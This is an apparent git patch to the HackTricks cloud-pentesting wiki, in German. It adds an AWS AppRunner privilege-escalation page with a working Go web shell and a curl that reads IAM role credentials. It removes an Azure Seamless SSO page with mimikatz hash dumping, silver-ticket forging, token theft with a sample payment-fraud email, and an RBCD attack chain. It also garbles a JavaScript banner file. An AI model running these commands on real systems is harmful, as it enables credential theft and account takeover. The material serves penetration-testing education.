From 261da3a44cc29244938160cb783f407f2893156d Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 1 Aug 2025 09:45:48 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/SUMMARY.md | 3 +- .../aws-apprunner-privesc.md | 71 +++++++ .../seamless-sso.md | 191 ------------------ theme/ai.js | 24 +-- 4 files changed, 85 insertions(+), 204 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 2e6ba8b7c..02ee21711 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -267,6 +267,7 @@ - [AWS - VPN Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md) - [AWS - Privilege Escalation](pentesting-cloud/aws-security/aws-privilege-escalation/README.md) - [AWS - Apigateway Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md) + - [AWS - AppRunner Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md) - [AWS - Chime Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md) - [AWS - Codebuild Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md) - [AWS - Codepipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md) @@ -454,7 +455,7 @@ - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md) - - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md) + - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md new file mode 100644 index 000000000..e9dc6c7f9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md @@ -0,0 +1,71 @@ +# AWS - AppRunner Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## AppRunner + +### `iam:PassRole`, `apprunner:CreateService` + +Ein Angreifer mit diesen Berechtigungen kann einen AppRunner-Dienst mit einer angehängten IAM-Rolle erstellen, wodurch er möglicherweise Privilegien eskalieren kann, indem er auf die Anmeldeinformationen der Rolle zugreift. + +Der Angreifer erstellt zunächst eine Dockerfile, die als Web-Shell dient, um beliebige Befehle im AppRunner-Container auszuführen. +```Dockerfile +FROM golang:1.24-bookworm +WORKDIR /app +RUN apt-get update && apt-get install -y ca-certificates curl +RUN cat <<'EOF' > main.go +package main + +import ( +"fmt" +"net/http" +"os/exec" +) + +func main() { +http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { +command := exec.Command("sh", "-c", r.URL.Query().Get("cmd")) +output, err := command.CombinedOutput() +if err != nil { +fmt.Fprint(w, err.Error(), output) +return +} + +fmt.Fprint(w, string(output)) +}) +http.ListenAndServe("0.0.0.0:3000", nil) +} +EOF +RUN go mod init test && go build -o main . +EXPOSE 3000 +CMD ["./main"] +``` +Dann push dieses Image in ein ECR-Repository. Durch das Pushen des Images in ein öffentliches Repository in einem von dem Angreifer kontrollierten AWS-Konto ist eine Privilegieneskalation möglich, selbst wenn das Konto des Opfers keine Berechtigungen hat, um ECR zu manipulieren. +```sh +IMAGE_NAME=public.ecr.aws///:latest +docker buildx build --platform linux/amd64 -t $IMAGE_NAME . +aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws +docker push $IMAGE_NAME +docker logout public.ecr.aws +``` +Als Nächstes erstellt der Angreifer einen AppRunner-Dienst, der mit diesem Web-Shell-Image und der IAM-Rolle konfiguriert ist, die er ausnutzen möchte. +```bash +aws apprunner create-service \ +--service-name malicious-service \ +--source-configuration '{ +"ImageRepository": { +"ImageIdentifier": "public.ecr.aws///:latest", +"ImageRepositoryType": "ECR_PUBLIC", +"ImageConfiguration": { "Port": "3000" } +} +}' \ +--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ +--query Service.ServiceUrl +``` +Nachdem Sie gewartet haben, bis die Erstellung des Dienstes abgeschlossen ist, verwenden Sie die Web-Shell, um die Container-Anmeldeinformationen abzurufen und die Berechtigungen der IAM-Rolle zu erhalten, die an AppRunner angehängt ist. +```sh +curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' +``` +**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zu jeder IAM-Rolle, die an AppRunner-Dienste angehängt werden kann. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md deleted file mode 100644 index c1051e322..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/seamless-sso.md +++ /dev/null @@ -1,191 +0,0 @@ -# Az - Nahtloses SSO - -{{#include ../../../banners/hacktricks-training.md}} - -## Grundlegende Informationen - -[Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Nahtloses Single Sign-On (Azure AD Nahtloses SSO) **meldet Benutzer automatisch an, wenn sie sich auf ihren Unternehmensgeräten** befinden, die mit Ihrem Unternehmensnetzwerk verbunden sind. Wenn aktiviert, **müssen Benutzer ihre Passwörter nicht eingeben, um sich bei Azure AD anzumelden**, und normalerweise auch nicht ihre Benutzernamen. Diese Funktion bietet Ihren Benutzern einfachen Zugriff auf Ihre cloudbasierten Anwendungen, ohne dass zusätzliche lokale Komponenten erforderlich sind. - -

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

- -Im Grunde meldet Azure AD Nahtloses SSO **Benutzer an**, wenn sie sich **auf einem lokal verbundenen PC** befinden. - -Es wird sowohl von [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) als auch von [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md) unterstützt. - -Desktop-SSO verwendet **Kerberos** zur Authentifizierung. Wenn konfiguriert, erstellt Azure AD Connect ein **Computer-Konto mit dem Namen `AZUREADSSOACC$`** in der lokalen AD. Das Passwort des `AZUREADSSOACC$`-Kontos wird **im Klartext an Entra ID** während der Konfiguration gesendet. - -Die **Kerberos-Tickets** sind **verschlüsselt** mit dem **NTHash (MD4)** des Passworts, und Entra ID verwendet das gesendete Passwort, um die Tickets zu entschlüsseln. - -**Entra ID** stellt einen **Endpunkt** (https://autologon.microsoftazuread-sso.com) zur Verfügung, der Kerberos **Tickets** akzeptiert. Der Browser des domain-verbundenen Geräts leitet die Tickets an diesen Endpunkt für SSO weiter. - -### Aufzählung -```bash -# Check if the SSO is enabled in the tenant -Import-Module AADInternals -Invoke-AADIntReconAsOutsider -Domain | Format-Table - -# Check if the AZUREADSSOACC$ account exists in the domain -Install-WindowsFeature RSAT-AD-PowerShell -Import-Module ActiveDirectory -Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'" - -# Check it using raw LDAP queries without needing an external module -$searcher = New-Object System.DirectoryServices.DirectorySearcher -$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)" -$searcher.FindOne() -``` -## Pivoting: On-prem -> cloud - -> [!WARNING] -> Das Wichtigste, was man über diesen Angriff wissen sollte, ist, dass es ausreicht, das TGT oder ein spezifisches TGS eines Benutzers, der mit Entra ID synchronisiert ist, zu haben, um auf die Cloud-Ressourcen zuzugreifen.\ -> Dies liegt daran, dass es ein Ticket ist, das es einem Benutzer ermöglicht, sich in der Cloud anzumelden. - -Um dieses TGS-Ticket zu erhalten, muss der Angreifer eines der folgenden Dinge haben: -- **Ein kompromittiertes TGS eines Benutzers:** Wenn Sie die Sitzung eines Benutzers mit dem Ticket zu `HTTP/autologon.microsoftazuread-sso.com` im Speicher kompromittieren, können Sie es verwenden, um auf die Cloud-Ressourcen zuzugreifen. -- **Ein kompromittiertes TGT eines Benutzers:** Selbst wenn Sie keines haben, aber der Benutzer kompromittiert wurde, können Sie eines mit dem gefälschten TGT-Delegationstrick erhalten, der in vielen Tools wie [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) und [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9) implementiert ist. -- **Ein kompromittierter Hash oder Passwort eines Benutzers:** SeamlessPass wird mit diesen Informationen mit dem Domänencontroller kommunizieren, um das TGT und dann das TGS zu generieren. -- **Ein goldenes Ticket:** Wenn Sie den KRBTGT-Schlüssel haben, können Sie das benötigte TGT für den angegriffenen Benutzer erstellen. -- **Der Hash oder das Passwort des AZUREADSSOACC$-Kontos:** Mit diesen Informationen und der Sicherheitskennung (SID) des Benutzers ist es möglich, ein Serviceticket zu erstellen und sich mit der Cloud zu authentifizieren (wie im vorherigen Verfahren durchgeführt). - -### [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) - -Wie [in diesem Blogbeitrag erklärt](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/), ist es mit einem der vorherigen Anforderungen sehr einfach, das Tool **SeamlessPass** zu verwenden, um auf die Cloud-Ressourcen als der kompromittierte Benutzer oder als jeder Benutzer zuzugreifen, wenn Sie den **`AZUREADSSOACC$`**-Kontohash oder das Passwort haben. - -Schließlich ist es mit dem TGT möglich, das Tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) zu verwenden mit: -```bash -# Using the TGT to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt -# Using the TGS to access the cloud -seamlesspass -tenant corp.com -tgs user_tgs.ccache -# Using the victims account hash or password to access the cloud -seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password -# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID -seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234 -seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234 -wmic useraccount get name,sid # Get the user SIDs -``` -Weitere Informationen zur Konfiguration von Firefox für die Verwendung mit Seamless SSO sind [**in diesem Blogbeitrag zu finden**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). - -### Abrufen der Hashes des AZUREADSSOACC$-Kontos - -Das **Passwort** des Benutzers **`AZUREADSSOACC$` ändert sich nie**. Daher könnte ein Domänenadministrator den **Hash dieses Kontos** kompromittieren und ihn dann verwenden, um **Silber-Tickets** zu erstellen, um sich mit **jedem synchronisierten On-Prem-Benutzer** mit Azure zu verbinden: -```bash -# Dump hash using mimikatz -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' -mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit - -# Dump hash using https://github.com/MichaelGrafnetter/DSInternals -Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local - -# Dump using ntdsutil and DSInternals -## Dump NTDS.dit -ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q -## Extract password -Install-Module DSInternals -Import-Module DSInternals -$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' -(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos -``` -> [!NOTE] -> Mit den aktuellen Informationen könnten Sie einfach das Tool **SeamlessPass** wie zuvor angegeben verwenden, um Azure- und Entraid-Token für jeden Benutzer in der Domäne zu erhalten. -> Sie könnten auch die vorherigen Techniken (und andere) verwenden, um den Hash des Passworts des Opfers zu erhalten, das Sie anstelle des Kontos `AZUREADSSOACC$` nachahmen möchten. - -#### Erstellen von Silver Tickets - -Mit dem Hash können Sie jetzt **Silver Tickets generieren**: -```bash -# Get users and SIDs -Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier - -# Create a silver ticket to connect to Azure with mimikatz -Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4: /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"' -mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit - -# Create silver ticket with AADInternal to access Exchange Online -$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4" -$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com -## Send email -Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." -``` -### Verwendung von Silver Tickets mit Firefox - -Um das Silver Ticket zu nutzen, sollten die folgenden Schritte ausgeführt werden: - -1. **Browser starten:** Mozilla Firefox sollte gestartet werden. -2. **Browser konfigurieren:** -- Navigieren Sie zu **`about:config`**. -- Setzen Sie die Präferenz für [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) auf den angegebenen [Wert](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): -- `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` -- Navigieren Sie zu Firefox `Einstellungen` > Suchen Sie nach `Windows-SSO für Microsoft-, Arbeits- und Schulkonten zulassen` und aktivieren Sie es. -3. **Zugriff auf die Webanwendung:** -- Besuchen Sie eine Webanwendung, die mit der AAD-Domain der Organisation integriert ist. Ein häufiges Beispiel ist [login.microsoftonline.com](https://login.microsoftonline.com/). -4. **Authentifizierungsprozess:** -- Geben Sie auf dem Anmeldebildschirm den Benutzernamen ein und lassen Sie das Passwortfeld leer. -- Um fortzufahren, drücken Sie entweder TAB oder ENTER. - -> [!WARNING] -> Dies **umgeht nicht MFA, wenn aktiviert** für den Benutzer. - - -### On-prem -> Cloud über ressourcenbasierte eingeschränkte Delegation - -Um den Angriff durchzuführen, wird benötigt: - -- `WriteDACL` / `GenericWrite` über `AZUREADSSOACC$` -- Ein Computer-Konto, das Sie kontrollieren (Hash & Passwort) - Sie könnten eines erstellen - - -1. Schritt 1 – Fügen Sie Ihr eigenes Computer-Konto hinzu -- Erstellt `ATTACKBOX$` und druckt seinen SID/NTLM-Hash. Jeder Domänenbenutzer kann dies tun, solange MachineAccountQuota > 0 -```bash -# Impacket -python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \ --computer ATTACKBOX$ -password S3cureP@ss -``` -2. Schritt 2 – Gewähren Sie RBCD auf `AZUREADSSOACC$` - Schreibt die SID Ihres Geräts in `msDS-AllowedToActOnBehalfOfOtherIdentity`. -```bash -python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \ -ATTACKBOX$ AZUREADSSOACC$ - -# Or, from Windows: -$SID = (Get-ADComputer ATTACKBOX$).SID -Set-ADComputer AZUREADSSOACC$ ` --PrincipalsAllowedToDelegateToAccount $SID -``` -3. Schritt 3 – Erstellen Sie ein TGS für jeden Benutzer (z. B. alice) -```bash -# Using your machine's password or NTLM hash -python3 getST.py -dc-ip 192.168.1.10 \ --spn HTTP/autologon.microsoftazuread-sso.com \ --impersonate alice \ -DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821 - -# Produces alice.autologon.ccache - -#Or, from Windows: -Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 ` -/impersonateuser:alice ` -/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt -``` -Sie können jetzt das **TGS verwenden, um auf Azure-Ressourcen als der impersonierte Benutzer zuzugreifen.** - - -### ~~Erstellen von Kerberos-Tickets für Cloud-nur-Benutzer~~ - -Wenn die Active Directory-Administratoren Zugriff auf Azure AD Connect haben, können sie **SID für jeden Cloud-Benutzer festlegen**. Auf diese Weise können Kerberos **Tickets** auch für **Cloud-nur-Benutzer** erstellt werden. Die einzige Voraussetzung ist, dass die SID eine gültige [SID]() ist. - -> [!CAUTION] -> Das Ändern der SID von Cloud-nur-Admin-Benutzern ist jetzt **von Microsoft blockiert**.\ -> Für Informationen siehe [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) - - - -## Referenzen - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) -- [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 02f51127e..c09116c72 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,6 +1,6 @@ /** * HackTricks Training Discounts - */ + (() => { @@ -9,13 +9,13 @@ const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; - /* Stop if user already dismissed */ + # Stop if user already dismissed if (localStorage.getItem(KEY) === 'true') return; - /* Quick helper */ + # Quick helper const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); - /* --- Overlay (blur + dim) --- */ + # --- Overlay (blur + dim) --- const overlay = $('div', ` position: fixed; inset: 0; background: rgba(0,0,0,.4); @@ -24,7 +24,7 @@ z-index: 10000; `); - /* --- Modal --- */ + # --- Modal --- const modal = $('div', ` max-width: 90vw; width: 480px; background: #fff; border-radius: 12px; overflow: hidden; @@ -33,10 +33,10 @@ display: flex; flex-direction: column; align-items: stretch; `); - /* --- Title bar (link + close) --- */ + # --- Title bar (link + close) --- const titleBar = $('div', ` position: relative; - padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + padding: 1rem 2.5rem 1rem 1rem; # room for the close button text-align: center; background: #222; color: #fff; font-size: 1.3rem; font-weight: 700; @@ -53,7 +53,7 @@ link.textContent = TXT; titleBar.appendChild(link); - /* Close "X" (no persistence) */ + # Close "X" (no persistence) const closeBtn = $('button', ` position: absolute; top: .25rem; right: .5rem; background: transparent; border: none; @@ -65,11 +65,11 @@ closeBtn.onclick = () => overlay.remove(); titleBar.appendChild(closeBtn); - /* --- Image --- */ + # --- Image --- const img = $('img'); img.src = IMG; img.alt = TXT; img.style.width = '100%'; - /* --- Checkbox row --- */ + # --- Checkbox row --- const label = $('label', ` display: flex; align-items: center; justify-content: center; gap: .6rem; padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; @@ -83,7 +83,7 @@ }; label.append(cb, document.createTextNode("Don't show again")); - /* --- Assemble & inject --- */ + # --- Assemble & inject --- modal.append(titleBar, img, label); overlay.appendChild(modal); @@ -94,7 +94,7 @@ } })(); - +*/